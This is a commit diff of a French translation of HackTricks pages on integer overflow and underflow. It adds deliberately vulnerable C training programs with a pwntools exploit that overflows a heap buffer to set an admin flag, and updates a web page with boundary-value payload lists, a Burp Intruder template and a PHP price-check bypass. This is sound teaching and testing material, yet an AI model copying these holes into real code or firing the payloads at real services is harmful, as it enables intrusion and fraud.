Translated ['src/pentesting-web/xss-cross-site-scripting/integer-overflo

This commit is contained in:
Translator 2025-09-07 14:58:42 +00:00
parent 28a4ba888c
commit 112838ddd2
4 changed files with 413 additions and 159 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md) - [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md) - [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Informations de base
Au cœur d'un **integer overflow** se trouvent les limitations imposées par la **taille** des types de données en programmation et par **l'interprétation** des données.
Par exemple, un **8-bit unsigned integer** peut représenter des valeurs de **0 à 255**. Si vous tentez de stocker la valeur 256 dans un 8-bit unsigned integer, elle revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **16-bit unsigned integer**, qui peut contenir des valeurs de **0 à 65,535**, ajouter 1 à 65,535 fera revenir la valeur à 0.
De plus, un **8-bit signed integer** peut représenter des valeurs de **-128 à 127**. Cela s'explique par le fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté comme **-128** (binaire `10000000`), et le plus positif est **127** (binaire `01111111`).
Valeurs max pour les types d'entiers courants :
| Type | Taille (bits) | Valeur min | Valeur max |
|----------------|---------------|---------------------|---------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short is equivalent to a `int16_t` and an int is equivalent to a `int32_t` and a long is equivalent to a `int64_t` in 64bits systems.
### Valeurs maximales
Pour des **web vulnerabilities** potentielles, il est très intéressant de connaître les valeurs maximales supportées :
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Exemples
### Pure overflow
Le résultat affiché sera 0 car nous avons overflowed le char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Conversion d'entier signé en entier non signé
Considérez une situation où un entier signé est lu depuis l'entrée utilisateur puis utilisé dans un contexte qui le traite comme un entier non signé, sans validation adéquate :
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interprété comme un grand entier non signé en raison de la manière dont les valeurs binaires sont interprétées, ce qui peut entraîner un comportement inattendu.
### macOS Overflow Example
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Compilez-le avec :
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Exemple
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Compilez-le avec :
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Autres exemples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Seul 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de provoquer un overflow et de faire croire que sa longueur est 4 alors qu'elle est en réalité 260, afin de bypass la length check protection
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Étant donné quelques nombres, trouvez avec z3 un nouveau nombre qui, multiplié par le premier, donne le second :
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Seul 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de provoquer un overflow et de faire croire que sa longueur est 4 alors qu'elle est en réalité 260, afin de bypass la length check protection et d'overwrite dans the stack la next local variable et bypass both protections
## ARM64
Cela **ne change pas sur ARM64** comme vous pouvez le voir dans [**ce billet de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Débordement d'entier
{{#include ../banners/hacktricks-training.md}}
## Informations de base
Au cœur d'un **débordement d'entier** se trouve la limitation imposée par la **taille** des types de données en programmation informatique et l'**interprétation** des données.
Par exemple, un **entier non signé de 8 bits** peut représenter des valeurs de **0 à 255**. Si vous essayez de stocker la valeur 256 dans un entier non signé de 8 bits, cela revient à 0 en raison de la limitation de sa capacité de stockage. De même, pour un **entier non signé de 16 bits**, qui peut contenir des valeurs de **0 à 65 535**, ajouter 1 à 65 535 ramènera la valeur à 0.
De plus, un **entier signé de 8 bits** peut représenter des valeurs de **-128 à 127**. Cela est dû au fait qu'un bit est utilisé pour représenter le signe (positif ou négatif), laissant 7 bits pour représenter la magnitude. Le nombre le plus négatif est représenté par **-128** (binaire `10000000`), et le nombre le plus positif est **127** (binaire `01111111`).
### Valeurs maximales
Pour les **vulnérabilités web** potentielles, il est très intéressant de connaître les valeurs maximales prises en charge :
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Exemples
### Débordement pur
Le résultat imprimé sera 0 car nous avons débordé le char :
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Conversion de signé à non signé
Considérez une situation où un entier signé est lu à partir de l'entrée utilisateur et ensuite utilisé dans un contexte qui le traite comme un entier non signé, sans validation appropriée :
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Dans cet exemple, si un utilisateur saisit un nombre négatif, il sera interprété comme un grand entier non signé en raison de la façon dont les valeurs binaires sont interprétées, ce qui peut entraîner un comportement inattendu.
### Autres exemples
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Étant donné quelques nombres, trouvez en utilisant z3 un nouveau nombre qui multiplié par le premier donnera le second :
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Seulement 1B est utilisé pour stocker la taille du mot de passe, il est donc possible de le dépasser et de le faire penser qu'il a une longueur de 4 alors qu'il est en réalité de 260 pour contourner la protection de vérification de longueur et écraser dans la pile la prochaine variable locale et contourner les deux protections.
## ARM64
Cela **ne change pas en ARM64** comme vous pouvez le voir dans [**cet article de blog**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Débordement d'entier (Applications Web) # Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> Cette page se concentre sur la façon dont **les débordements/tronquations d'entiers peuvent être abusés dans les applications web et les navigateurs**. Pour les primitives d'exploitation à l'intérieur des binaires natifs, vous pouvez continuer à lire la page dédiée : > Cette page se concentre sur la façon dont les **integer overflows/truncations peuvent être abusés dans les web applications et les navigateurs**. Pour les primitives d'exploitation à l'intérieur de binaires natifs, vous pouvez consulter la page dédiée :
> >
> >
{{#ref}} {{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md > ../../binary-exploitation/integer-overflow-and-underflow.md
> > {{#endref}}
{{#endref}}
--- ---
## 1. Pourquoi les mathématiques entières comptent encore sur le web ## 1. Pourquoi les calculs sur entiers sont encore importants sur le web
Bien que la plupart de la logique métier dans les piles modernes soit écrite dans des langages *sûrs pour la mémoire*, le runtime sous-jacent (ou les bibliothèques tierces) est finalement implémenté en C/C++. Chaque fois que des nombres contrôlés par l'utilisateur sont utilisés pour allouer des tampons, calculer des décalages ou effectuer des vérifications de longueur, **un débordement de 32 bits ou 64 bits peut transformer un paramètre apparemment inoffensif en une lecture/écriture hors limites, un contournement de logique ou un DoS**. Même si la plupart de la business-logic dans les stacks modernes est écrite en langages *memory-safe*, le runtime sous-jacent (ou des bibliothèques tierces) est finalement implémenté en C/C++. Dès que des nombres contrôlés par l'utilisateur sont utilisés pour allouer des buffers, calculer des offsets ou effectuer des vérifications de longueur, **un wrap-around 32-bit ou 64-bit peut transformer un paramètre apparemment inoffensif en un out-of-bounds read/write, un logic bypass ou un DoS**.
Surface d'attaque typique : Surface d'attaque typique :
1. **Paramètres de requête numériques** champs classiques d'id, de décalage ou de compte. 1. **Numeric request parameters** champs classiques id, offset, ou count.
2. **En-têtes de longueur / taille** Content-Length, longueur de trame WebSocket, HTTP/2 continuation_len, etc. 2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len, etc.
3. **Métadonnées de format de fichier analysées côté serveur ou côté client** dimensions d'image, tailles de morceaux, tables de polices. 3. **File-format metadata parsed server-side or client-side** dimensions d'image, tailles de chunks, font tables.
4. **Conversions au niveau du langage** conversions signées↔non signées dans PHP/Go/Rust FFI, tronquations JS Number → int32 à l'intérieur de V8. 4. **Language-level conversions** casts signé↔unsigned dans PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Authentification et logique métier** valeur de coupon, prix ou calculs de solde qui débordent silencieusement. 5. **Authentication & business logic** valeur de coupon, prix, ou calculs de solde qui overflow silencieusement.
--- ---
## 2. Vulnérabilités récentes dans le monde réel (2023-2025) ## 2. Recent real-world vulnerabilities (2023-2025)
| Année | Composant | Cause racine | Impact | | Year | Component | Root cause | Impact |
|-------|-----------|--------------|--------| |------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Débordement de multiplication 32 bits lors du calcul de la taille des pixels décodés | A déclenché un 0-day Chrome (BLASTPASS sur iOS), permettant *l'exécution de code à distance* à l'intérieur du bac à sable du rendu. | | 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | Tronquation à 32 bits lors de l'agrandissement d'un JSArray entraînant une écriture OOB sur le magasin de soutien | Exécution de code à distance après une seule visite. | | 2024 | **V8 CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
| 2025 | **Apollo GraphQL Server** (patch non publié) | Entier signé 32 bits utilisé pour les arguments de pagination premier/dernier ; les valeurs négatives débordent vers de grands positifs | Contournement de logique & épuisement de mémoire (DoS). | | 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
--- ---
## 3. Stratégie de test ## 3. Testing strategy
### 3.1 Feuille de triche sur les valeurs limites ### 3.1 Boundary-value cheat-sheet
Envoyez **des valeurs signées/non signées extrêmes** partout où un entier est attendu : Send **extreme signed/unsigned values** wherever an integer is expected:
``` ```
-1, 0, 1, -1, 0, 1,
127, 128, 255, 256, 127, 128, 255, 256,
@ -50,27 +49,27 @@ Envoyez **des valeurs signées/non signées extrêmes** partout où un entier es
0x7fffffff, 0x80000000, 0xffffffff 0x7fffffff, 0x80000000, 0xffffffff
``` ```
Autres formats utiles : Autres formats utiles :
* Hex (0x100), octal (0377), scientifique (1e10), JSON big-int (9999999999999999999). * Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Très longues chaînes de chiffres (>1kB) pour atteindre des analyseurs personnalisés. * Chaînes de chiffres très longues (>1kB) pour cibler custom parsers.
### 3.2 Modèle Burp Intruder ### 3.2 Modèle Burp Intruder template
``` ```
§INTEGER§ §INTEGER§
Payload type: Numbers Payload type: Numbers
From: -10 To: 4294967300 Step: 1 From: -10 To: 4294967300 Step: 1
Pad to length: 10, Enable hex prefix 0x Pad to length: 10, Enable hex prefix 0x
``` ```
### 3.3 Bibliothèques et environnements de fuzzing ### 3.3 Fuzzing libraries & runtimes
* **AFL++/Honggfuzz** avec un harness libFuzzer autour du parseur (par exemple, WebP, PNG, protobuf). * **AFL++/Honggfuzz** avec un harness libFuzzer autour du parser (par ex., WebP, PNG, protobuf).
* **Fuzzilli** fuzzing conscient de la grammaire des moteurs JavaScript pour toucher les troncatures d'entiers V8/JSC. * **Fuzzilli** fuzzing sensible à la grammaire des moteurs JavaScript pour provoquer des troncatures d'entiers dans V8/JSC.
* **boofuzz** fuzzing de protocoles réseau (WebSocket, HTTP/2) se concentrant sur les champs de longueur. * **boofuzz** fuzzing de protocoles réseau (WebSocket, HTTP/2) axé sur les champs de longueur.
--- ---
## 4. Modèles d'exploitation ## 4. Modèles d'exploitation
### 4.1 Contournement de logique dans le code côté serveur (exemple PHP) ### 4.1 Contournement logique dans le code côté serveur (exemple PHP)
```php ```php
$price = (int)$_POST['price']; // expecting cents (0-10000) $price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible $total = $price * 100; // ← 32-bit overflow possible
@ -79,28 +78,30 @@ die('Too expensive');
} }
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */ /* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
``` ```
### 4.2 Débordement de tas via décodeur d'image (libwebp 0-day) ### 4.2 Débordement du heap via le décodeur d'images (libwebp 0-day)
Le décodeur sans perte WebP a multiplié la largeur × hauteur × 4 (RGBA) à l'intérieur d'un int 32 bits. Un fichier conçu avec des dimensions 16384 × 16384 déborde la multiplication, alloue un court tampon et écrit ensuite **~1 Go** de données décompressées au-delà du tas menant à un RCE dans tous les navigateurs basés sur Chromium avant 116.0.5845.187. Le décodeur sans perte WebP multipliait la largeur × hauteur × 4 (RGBA) dans un int 32 bits. Un fichier conçu avec des dimensions 16384 × 16384 provoque un dépassement de la multiplication, alloue un buffer trop court et écrit ensuite **~1GB** de données décompressées au-delà du heap entraînant RCE dans tous les navigateurs basés sur Chromium antérieurs à 116.0.5845.187.
### 4.3 Chaîne XSS/RCE basée sur le navigateur ### 4.3 Chaîne XSS/RCE côté navigateur
1. **Débordement d'entier** dans V8 donne une lecture/écriture arbitraire. 1. **Integer overflow** in V8 gives arbitrary read/write.
2. Échapper au bac à sable avec un second bug ou appeler des API natives pour déposer un payload. 2. S'échapper du sandbox avec un second bug ou appeler des API natives pour déposer un payload.
3. Le payload injecte ensuite un script malveillant dans le contexte d'origine → XSS stocké. 3. Le payload injecte alors un script malveillant dans le contexte d'origine → stored XSS.
--- ---
## 5. Directives de défense ## 5. Directives défensives
1. **Utiliser des types larges ou des mathématiques vérifiées** par exemple, size_t, Rust checked_add, Go math/bits.Add64. 1. **Utiliser des types plus larges ou des opérations arithmétiques vérifiées** e.g., size_t, Rust checked_add, Go math/bits.Add64.
2. **Valider les plages tôt** : rejeter toute valeur en dehors du domaine commercial avant l'arithmétique. 2. **Valider les plages tôt** : rejeter toute valeur en dehors du domaine métier avant les opérations arithmétiques.
3. **Activer les sanitizers du compilateur** : -fsanitize=integer, UBSan, détecteur de course Go. 3. **Activer les sanitizers du compilateur** : -fsanitize=integer, UBSan, Go race detector.
4. **Adopter le fuzzing dans CI/CD** combiner les retours de couverture avec des corpus de limites. 4. **Adopter le fuzzing dans CI/CD** combiner le feedback de couverture avec des corpus de cas limites.
5. **Rester à jour** les bugs de débordement d'entier dans les navigateurs sont souvent exploités dans les semaines qui suivent. 5. **Restez à jour** les bugs d'integer overflow dans les navigateurs sont fréquemment exploités en quelques semaines.
--- ---
## Références
* [NVD CVE-2023-4863 Débordement de tampon de tas libwebp](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Comprendre V8 CVE-2024-0519"](https://googleprojectzero.github.io/) ## References
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}